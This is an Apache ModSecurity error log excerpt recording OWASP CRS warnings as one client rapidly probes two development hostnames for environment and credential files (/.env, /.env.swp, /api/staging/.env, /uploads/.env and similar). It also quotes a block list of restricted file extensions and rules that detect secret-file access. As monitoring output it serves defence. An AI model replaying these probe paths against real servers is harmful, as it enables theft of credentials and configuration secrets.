[Fri Jul 17 09:14:19.420073 2026] [security2:error] [pid 2036488:tid 2036488] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlE7EKozcCJ-ReuK0F6AAAAAg"]
[Fri Jul 17 09:14:19.482098 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.swp"] [unique_id "almlE0gVnBK6wAv37w6vqAAAABQ"]
[Fri Jul 17 09:14:19.482483 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.swp"] [unique_id "almlE0gVnBK6wAv37w6vqAAAABQ"]
[Fri Jul 17 09:14:19.484288 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env.swp"] [unique_id "almlE0gVnBK6wAv37w6vqAAAABQ"]
[Fri Jul 17 09:14:19.589660 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/v3/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/api/v3/.env"] [unique_id "almlEw7FYe46zHK_jL3S-QAAABk"]
[Fri Jul 17 09:14:19.590111 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/api/v3/.env"] [unique_id "almlEw7FYe46zHK_jL3S-QAAABk"]
[Fri Jul 17 09:14:19.590589 2026] [security2:error] [pid 2013829:tid 2013829] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlEw7FYe46zHK_jL3S-QAAABk"]
[Fri Jul 17 09:14:19.758308 2026] [security2:error] [pid 2018741:tid 2018741] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/dev/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/api/dev/.env"] [unique_id "almlE7oj0IkvhSCYadmEwwAAAAQ"]
[Fri Jul 17 09:14:19.758647 2026] [security2:error] [pid 2018741:tid 2018741] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/api/dev/.env"] [unique_id "almlE7oj0IkvhSCYadmEwwAAAAQ"]
[Fri Jul 17 09:14:19.758951 2026] [security2:error] [pid 2018741:tid 2018741] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlE7oj0IkvhSCYadmEwwAAAAQ"]
[Fri Jul 17 09:14:19.782387 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlE0gVnBK6wAv37w6vqAAAABQ"]
[Fri Jul 17 09:14:19.926396 2026] [security2:error] [pid 2018757:tid 2018757] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/staging/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/api/staging/.env"] [unique_id "almlE0kXT4NBqALj2lZ_2wAAABA"]
[Fri Jul 17 09:14:19.926714 2026] [security2:error] [pid 2018757:tid 2018757] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/api/staging/.env"] [unique_id "almlE0kXT4NBqALj2lZ_2wAAABA"]
[Fri Jul 17 09:14:19.927051 2026] [security2:error] [pid 2018757:tid 2018757] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlE0kXT4NBqALj2lZ_2wAAABA"]
[Fri Jul 17 09:14:19.953640 2026] [security2:error] [pid 2039911:tid 2039911] [client 13.239.135.171:0] ModSecurity: Warning. Pattern match "\\\\.[^.~]+~(?:/.*|)$" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1081"] [id "920500"] [msg "Attempt to access a backup or working file"] [data ".env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env~"] [unique_id "almlE5BVIrrUwtEhdafUAgAAAAU"]
[Fri Jul 17 09:14:19.953943 2026] [security2:error] [pid 2039911:tid 2039911] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env~"] [unique_id "almlE5BVIrrUwtEhdafUAgAAAAU"]
[Fri Jul 17 09:14:19.955215 2026] [security2:error] [pid 2039911:tid 2039911] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env~"] [unique_id "almlE5BVIrrUwtEhdafUAgAAAAU"]
[Fri Jul 17 09:14:20.100458 2026] [security2:error] [pid 2036488:tid 2036488] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /vendor/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/vendor/.env"] [unique_id "almlFLEKozcCJ-ReuK0F6QAAAAg"]
[Fri Jul 17 09:14:20.100797 2026] [security2:error] [pid 2036488:tid 2036488] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/vendor/.env"] [unique_id "almlFLEKozcCJ-ReuK0F6QAAAAg"]
[Fri Jul 17 09:14:20.101136 2026] [security2:error] [pid 2036488:tid 2036488] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlFLEKozcCJ-ReuK0F6QAAAAg"]
[Fri Jul 17 09:14:20.161222 2026] [security2:error] [pid 2039911:tid 2039911] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlE5BVIrrUwtEhdafUAgAAAAU"]
[Fri Jul 17 09:14:20.280118 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /lib/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/lib/.env"] [unique_id "almlFFh1WDijTxd1xw5PawAAAAc"]
[Fri Jul 17 09:14:20.280407 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/lib/.env"] [unique_id "almlFFh1WDijTxd1xw5PawAAAAc"]
[Fri Jul 17 09:14:20.280713 2026] [security2:error] [pid 2013797:tid 2013797] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlFFh1WDijTxd1xw5PawAAAAc"]
[Fri Jul 17 09:14:20.332756 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env1"] [unique_id "almlFK14q1EBnanVMYGm-QAAAAk"]
[Fri Jul 17 09:14:20.334705 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env1"] [unique_id "almlFK14q1EBnanVMYGm-QAAAAk"]
[Fri Jul 17 09:14:20.356878 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:20.456307 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /resources/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/resources/.env"] [unique_id "almlFLEWOaI5pmYo9fnRywAAAAA"]
[Fri Jul 17 09:14:20.456545 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/resources/.env"] [unique_id "almlFLEWOaI5pmYo9fnRywAAAAA"]
[Fri Jul 17 09:14:20.456820 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlFLEWOaI5pmYo9fnRywAAAAA"]
[Fri Jul 17 09:14:20.588445 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlFK14q1EBnanVMYGm-QAAAAk"]
[Fri Jul 17 09:14:20.628367 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /assets/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/assets/.env"] [unique_id "almlFBHlOGcokz2QIwTWVgAAAAM"]
[Fri Jul 17 09:14:20.628819 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/assets/.env"] [unique_id "almlFBHlOGcokz2QIwTWVgAAAAM"]
[Fri Jul 17 09:14:20.629269 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlFBHlOGcokz2QIwTWVgAAAAM"]
[Fri Jul 17 09:14:20.757022 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env2"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env2"] [unique_id "almlFFCBpfuYyhJ140vVwQAAAB4"]
[Fri Jul 17 09:14:20.758319 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/.env2"] [unique_id "almlFFCBpfuYyhJ140vVwQAAAB4"]
[Fri Jul 17 09:14:20.800119 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /uploads/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/uploads/.env"] [unique_id "almlFCRF0UOO1RzB5_8xPAAAAA4"]
[Fri Jul 17 09:14:20.800489 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/uploads/.env"] [unique_id "almlFCRF0UOO1RzB5_8xPAAAAA4"]
[Fri Jul 17 09:14:20.800928 2026] [security2:error] [pid 2029579:tid 2029579] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlFCRF0UOO1RzB5_8xPAAAAA4"]
[Fri Jul 17 09:14:20.859415 2026] [rewrite:error] [pid 2028246:tid 2028246] [client 181.26.90.51:0] AH10508: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
[Fri Jul 17 09:14:20.921474 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
